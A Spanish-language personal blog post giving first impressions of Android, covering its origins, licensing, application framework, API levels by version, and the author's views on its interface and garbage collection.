He pillado un Android para poder hacer algún programilla y probar si alguna aplicación que ya programé para mi antiguo Nokia.

En el tema de seguridad solo he podido encontrar dos vulnerabilidades en este sistema y ambas han ocurrido en la versión 1.5.

¿Que es Android?


Android es un sistema operativo para móviles basado en el kernel de Linux. Inicialmente lo desarrolló Google pero luego ha pasado a pertenecer a la Open Handset Alliance (formada por alrededor de 50 empresas del sector). Android trabaja con dos licencias, GPLv2 para componentes como los parches del kernel y Apache 2 para las aplicaciones ya que permite su comercialización de manera más simple.

Android está pensado para trabajar de manera similar a un Framework que además permite la intercomunicación entre distintas aplicaciones usando un interfaz propio para cada aplicación. El modelo usado por Android permite que los distintos programas informen al resto de que capacidades tienen y así el resto de programas pueden usarlas sin necesidad de implementarlas. El mecanismo es similar al usado por las DLLs.

  • Versiones:


Existen varias versiones de Android que podemos encontrar en el mercado, según fuentes oficiales se distribuyen del siguiente modo según dispositivos:



Para poder diferenciar las distintas versiones

Esisten distintos Niveles de API según las versiones, de este modos podemos crear un programa con escalable para distintas versiones.
Para Android 2.0.1 la API 6, para 2.0 API 5, parar 1.6 API 4, para 1.5 API 3, para 1.1 API 2 y para 1.0 API 1

Primeras impresiones


Bueno lo primero que destacaría de Android, por lo menos de la versión que tengo en la mano es que el interfaz es un poco complicado de manejar, aún que recueda mucho al de iPhone.

No contiene un gestor de directorios integrado. Personalmente a mi me gusta poder moverme por los directorios y buscar cosas.

Creo que el recolector de basura usado por Android podría mejora un poco, de hecho existen aplicaciones que realizan las funciones típicas de un recolector.

Más Información:


http://www.openhandsetalliance.com
http://www.android.com
http://code.google.com/intl/es-ES/android